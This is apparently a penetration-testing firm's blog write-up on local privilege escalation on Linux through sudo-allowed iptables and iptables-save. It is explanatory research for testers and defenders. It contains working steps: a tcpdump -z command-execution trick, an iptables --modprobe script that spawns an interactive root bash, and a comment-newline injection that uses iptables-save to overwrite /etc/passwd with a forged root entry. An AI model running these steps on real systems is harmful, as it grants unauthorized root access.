A Journey From sudo iptables To Local Privilege Escalation

TL;DR

A low-privileged user on a Linux machine can obtain the root privileges if:

  • They can execute iptables and iptables-save with sudo as they can inject a fake /etc/passwd entry in the comment of an iptables rule and then abusing iptables-save to overwrite the legitimate /etc/passwd file.
  • They can execute iptables with sudo and the underlying system misses one of the kernel modules loaded by iptables. In this case they can use the --modprobe argument to run an arbitrary command.

Intro

If you’ve ever played with boot2root CTFs (like Hack The Box), worked as a penetration tester, or just broke the law by infiltrating random machines (NO, DON’T DO THAT), chances are good that you found yourself with a low-privileged shell - www-data, I’m looking at you - on a Linux machine.

Now, while shells are great and we all need to be grateful when they shine upon us, a low-privileged user typically has a limited power over the system. The path ahead becomes clear: we need to escalate our privileges to root.

When walking the path of the Privilege Escalation, a hacker has a number of tricks at their disposal; one of them is using sudo.

superuser do…substitute user do…just call me sudo

As the reader might already know well, the sudo command can be used to run a command with the permissions of another user – which is commonly root.

Ok, but what’s the point? If you can sudo <command> already, privilege escalation is complete!

Well, yes, but actually, no. In fact, there are two scenarios (at least, two that come to mind right now) where we can’t simply leverage sudo to run arbitrary commands:

  1. Running sudo requires the password of the user, and even though we have a shell, we don’t know the password. This is quite common, as the initial access to the box happens via an exploit rather than regular authentication.
  2. We may know the password for sudo, but the commands that the user can run with sudo are restricted.

In the first case, there’s only one way to leverage sudo for privilege escalation, and that is NOPASSWD commands. These are commands that can be launched with sudo by the user without a password prompt. Quoting from man sudoers:

NOPASSWD and PASSWD

By default, sudo requires that a user authenticate him or herself before running a command. This behavior can be modified via the NOPASSWD tag. Like a Runas_Spec, the NOPASSWD tag sets a default for the commands that follow it in the Cmnd_Spec_List. Conversely, the PASSWD tag can be used to reverse things. For example:

ray rushmore = NOPASSWD: /bin/kill, /bin/ls, /usr/bin/lprm would allow the user ray to run /bin/kill, /bin/ls, and /usr/bin/lprm as root on the machine rushmore without authenticating himself.

The second case is a bit different: in that scenario, even though we know the password, there will be only a limited subset of commands (and possibly arguments) that can be launched with sudo. Again, the way this works you can learn by looking at man sudoers, asking ChatGPT or wrecking your system by experimenting.

In both cases, there is a quick way to check what are the “rules” enabled for your user, and that is running sudo -l on your shell, which will help answering the important question: CAN I HAZ SUDO?

$ sudo run-privesc

Now, back to the topic of privilege escalation. The bad news is that, when sudo is restricted, we cannot run arbitrary commands, thus the need for some more ingredients to obtain a complete privilege escalation. How? This is the good news: we can leverage side-effects of allowed commands. In fact, Linux utilities, more often than not, support a plethora of flags and options to customize their flow. By using and chaining these options in creative ways, even a simple text editor can be used as a trampoline to obtain arbitrary execution!

For a simple use case, let’s consider the well-known tcpdump command, used to listen, filter and display network packets traveling through the system. Administrators will oftentimes grant low-privileged users the capability to dump traffic on the machine for debugging purposes, so it’s perfectly common to find an entry like this when running sudo -l:

1
(ALL) NOPASSWD: /usr/bin/tcpdump

Little do they know about the power of UNIX utilities! In fact, tcpdump automagically supports log rotation, alongside a convenient -z flag to supply a postrotate-command that is executed after every rotation. Therefore, it is possible to leverage sudo coupled with tcpdump to execute arbitrary commands as root by running the following sequence of commands:

1
2
3
4
5
COMMAND='id' # just replace 'id' with your evil command
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF

The good folks at GTFOBins maintain a curated list of these magic tricks (including the one just shown about tcpdump), so please bookmark it and make sure to look it up on your Linux privilege escalation quests!

Starting Line 🚦

Recently, during a penetration test, we were looking for a way to escalate our privileges on a Linux-based device. What we had was a shell for a (very) low-privileged user, and the capability to run a certain set of commands as sudo. Among these, two trusted companions for every network engineer: iptables and iptables-save.

Sure there must be an entry for one of these two guys in GTFOBins, or so we thought … which lead in going once more for the extra mile™.

Pepperidge Farm Remembers

Back in the 2017 we organized an in-person CTF in Turin partnering with the PoliTO University, JEToP, and KPMG.

The CTF was based on a set of boot2root boxes where the typical entry point was a web-based vulnerability, followed by a local privilege escalation. One of the privilege escalations scenarios we created was exactly related to iptables.

The technique needed to root the box has been documented in a CTF writeup and used to root a PAX payment device.

Modeprobing Our Way To Root

iptables has a --modprobe, which purpose we can see from its man page:

--modprobe=command
When adding or inserting rules into a chain, use command to load any necessary modules (targets, match extensions, etc).

Sounds like an interesting way for to run an arbitrary command, doesn’t it?

By inspecting the iptables source code we can see that if the --modprobe flag has been specifies, then the int xtables_load_ko(const char *modprobe, bool quiet) function is called with as first parameter the modprobe command specified by the user.

As a first step the xtables_load_ko function checks if the required modules have been already loaded, while if they have been not it calls the int xtables_insmod(const char *modname, const char *modprobe, bool quiet) function with as second parameter the modprobe command specified by the user.

Finally, the xtables_insmod function runs the command we specified in the --modprobe argument using the execv syscall:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
int xtables_insmod(const char *modname, const char *modprobe, bool quiet)
{
	char *buf = NULL;
	char *argv[4];
	int status;

	/* If they don't explicitly set it, read out of kernel */
	if (!modprobe) {
		buf = get_modprobe();
		if (!buf)
			return -1;
		modprobe = buf;
	}

	/*
	 * Need to flush the buffer, or the child may output it again
	 * when switching the program thru execv.
	 */
	fflush(stdout);

	switch (vfork()) {
	case 0:
		argv[0] = (char *)modprobe;
		argv[1] = (char *)modname;
		if (quiet) {
			argv[2] = "-q";
			argv[3] = NULL;
		} else {
			argv[2] = NULL;
			argv[3] = NULL;
		}
		execv(argv[0], argv);

		/* not usually reached */
		exit(1);
	case -1:
		free(buf);
		return -1;

	default: /* parent */
		wait(&status);
	}

	free(buf);
	if (WIFEXITED(status) && WEXITSTATUS(status) == 0)
		return 0;
	return -1;
}

Wrapping all together, if we can run iptables as root then we can abuse it to run arbitrary system commands and with the following script being greeted with an interactive root shell:

1
2
3
4
5
#!/bin/bash

echo -e "/bin/bash -i" > run-me
chmod +x run-me
sudo iptables -L -t nat --modprobe=./run-me

EOF?

While this technique is quite powerful, it has an important requirement: the kernel modules iptables is trying to access should not be loaded.

(Un)fortunately, in most of the modern Linux distributions they are, making the attack impracticable. That being said, it is still powerful when it comes to embedded devices as demonstrated by Giulio.

What about our target? Unlikely it had all the kernel modules loaded, so this technique couldn’t be applied. Time to find a new one then 👀

フュージョン

Time for the Metamoran Fusion Dance!

The lab

Before diving into the privilege escalation steps, let’s setup a little lab to experiment with.

To test this, you can do the following things on a fresh Ubuntu 24.04 LTS machine:

  1. Install the iptables package via apt-get.
  2. Add the following lines to the /etc/sudoers file:
1
2
user ALL=(ALL) NOPASSWD: /usr/bin/iptables
user ALL=(ALL) NOPASSWD: /usr/bin/iptables-save
  1. Comment out, in the same file, the line:
1
%sudo ALL=(ALL:ALL) ALL

As expected, running sudo -l will yield the following response:

1
2
3
4
5
6
7
user@ubuntu:~$ sudo -l
Matching Defaults entries for user on ubuntu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User user may run the following commands on ubuntu:
    (ALL) NOPASSWD: /usr/bin/iptables
    (ALL) NOPASSWD: /usr/bin/iptables-save

So either running sudo iptables or sudo iptables-save executes the command without asking for authentication.

In the next section, we’ll see how an attacker in this system can escalate their privileges to root.

Evilege Priscalation

This section will demonstrate how core and side features of the iptables and iptables-save commands, plus some Linux quirks, can be chained together in order to obtain arbitrary code execution.

Spoiler alert, it boils down to these three steps:

  1. Using the comment functionality offered by iptables to attach arbitrary comments, containing newlines, to rules.
  2. Leverage iptables-save to dump to a sensitive file the content of the loaded rules, including the comment payloads.
  3. Exploiting step 1 and step 2 to overwrite the /etc/passwd file with an attacker-controlled root entry, crafted with a known password.

In the following sections, we will give some more details on these steps.

Step 1: Commenting Rules via iptables

Let’s consider a simple iptables command to add a firewall rule:

1
sudo iptables -A INPUT -i lo -j ACCEPT

the effect of this rule is to append a rule to the input chain to accept every inbound packet where the input interface is the local one. We can immediately verify the effect of this rule by running sudo iptables -L. The output of this command, as expected, contains the ACCEPT rule that we just loaded.

By looking into interesting flags supported by iptables, we stumble on this one:

comment

Allows you to add comments (up to 256 characters) to any rule. –comment comment Example: iptables -A INPUT -s 192.168.0.0/16 -m comment –comment “A privatized IP block”

Let’s test this by slightly modifying our previous rule:

1
sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment "Allow packets to localhost"

Then again, listing the rules, we can see the effect of the comment:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
Chain INPUT (policy ACCEPT)
target     prot opt source               destination
ACCEPT     all  --  anywhere             anywhere
ACCEPT     all  --  anywhere             anywhere             /* Allow packets to localhost */

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination

iptables also provides a way to simply dump all the loaded rules, by running iptables -S:

1
2
3
4
5
-P INPUT ACCEPT
-P FORWARD ACCEPT
-P OUTPUT ACCEPT
-A INPUT -i lo -j ACCEPT
-A INPUT -i lo -m comment --comment "Allow packets to localhost" -j ACCEPT

How much can we control this output? A simple test is to insert a newline:

1
sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'Allow packets to localhost\nThis rule rocks!'

NOTE

By using the $’ quoting, we can instruct bash to replace the \n character with a newline!

Now, let’s dump again the loaded rules to check whether the newline was preserved:

1
2
3
4
5
6
7
8
$ sudo iptables -S
-P INPUT ACCEPT
-P FORWARD ACCEPT
-P OUTPUT ACCEPT
-A INPUT -i lo -j ACCEPT
-A INPUT -i lo -m comment --comment "Allow packets to localhost" -j ACCEPT
-A INPUT -i lo -m comment --comment "Allow packets to localhost
This rule rocks!" -j ACCEPT

This is definitely interesting – we’ve established that iptables preserves newlines in comments, which means that we can control multiple arbitrary lines in the output of an iptables rule dump.

…can you guess how this can be leveraged?

Step 2: Arbitrary File Overwrite via iptables-save

Before starting to shoot commands out, let’s RTFM:

iptables-save and ip6tables-save are used to dump the contents of IP or IPv6 Table in easily parseable format either to STDOUT or to a speci‐ fied file.

If this man page is right (it probably is), by simply running iptables-save without specifying any file, the rules will be dumped to STDOUT:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
$ sudo iptables-save
# Generated by iptables-save v1.8.10 (nf_tables) on Tue Aug 13 19:50:55 2024
*filter
:INPUT ACCEPT [936:2477095]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
-A INPUT -i lo -j ACCEPT
-A INPUT -i lo -m comment --comment "Allow packets to localhost" -j ACCEPT
-A INPUT -i lo -m comment --comment "Allow packets to localhost
This rule rocks!" -j ACCEPT
COMMIT
# Completed on Tue Aug 13 19:50:55 2024

it seems iptables-save, too, is preserving the injected newline. Now that we know this, we can proceed to test its functionality by specifying a filename, supplying the -f switch. The output shows us we’re onto a good path:

The screenshot gives us two important informations:

  1. We can control arbitrary lines on the file written by iptables-save.
  2. Since this is running with sudo, the file is owned by root.

Where can we point this armed weapon? Onto the next section!

Step 3: Crafting Root Users

Recap: by leveraging arbitrary comments containing \n via iptables, and running iptables-save, we can write arbitrary files as root, and we partially control its lines – partially, yes, because the iptables-save outputs some data that can’t be controlled, before and after our injected comment.

How can this be useful? Well, there’s at least one way to turn this into a good privilege escalation, and it is thanks to the (in)famous /etc/passwd file. In fact, this file contains entries for each user that can log into the system, which includes metadata such as the hash of the password, and the UID of the user. Can you see where this is going?

Yes, we’re going to write a perfectly valid passwd root entry into an iptables rule, and we’re going to overwrite the /etc/passwd file via iptables-save. Since the injected line will also contain the password hash of the user, after the overwrite happens, we should be able to simply run su root and input the injected password.

At this point, we only have one doubt: will the other lines (which are not valid entries) break the system beyond repair? Clearly, there’s only one way to find out.

Proof of Concept

The steps to reproduce the privilege escalation are simple:

  1. Encrypt the new root password in the right format by running openssl passwd <password>
  2. Take the entry for root in the /etc/passwd, and copy it somewhere, replacing the x value of the encrypted password with the value generated at step 2
  3. Inject the forged root entry in a new iptables rule comment
  1. Overwrite /etc/passwd by running sudo iptables-save -f /etc/passwd
  1. Verify that you can now su root with the password chosen at step 1

Limitations & Possible Improvements

The main limitation of this technique lies in its reduced likelihood: in fact, in order for the privilege escalation to be executed, a user must be granted sudo on both the iptables and iptables-save commands; while this certainly happens in the wild, it would be great if we could make this scenario even more likely. This might be doable: iptables-save is actually part of the iptables suite, as the latter supports an argv[0]-based aliasing mechanism to select from the full suite the command to run. Therefore, if it were possible to force iptables to act as iptables-save, then the iptables-save command would not be necessary anymore.

Moreover, while for this scenario overwriting /etc/passwd was provably enough, your imagination is the limit: there might be other interesting gadgets to use in a Linux system! Mostly, the requirements for a “good” overwrite target are:

  • It must split “entries” by newlines.
  • It must ignore invalid, junk lines.

Pitch 🗣

Are you developing network appliances with limited shells for the operators and wondering if they can elevate their privileges? We’ve got you covered - hire us to go with the extra mile and find unknown privilege escalation vectors.

10 min

Date

20 September 2024

Author

suidpit

Security Researcher and Penetration Tester at Shielder. Human, Chaotic Good. Disciple of Bushido & Disney.

Author

smaury

I’m Abdel Adim Oisfi aka smaury.
Job: CEO, Security Researcher, Penetration Tester at Shielder.
Passions: Hacking, hitchhiking, cliff jumping and skinned knees.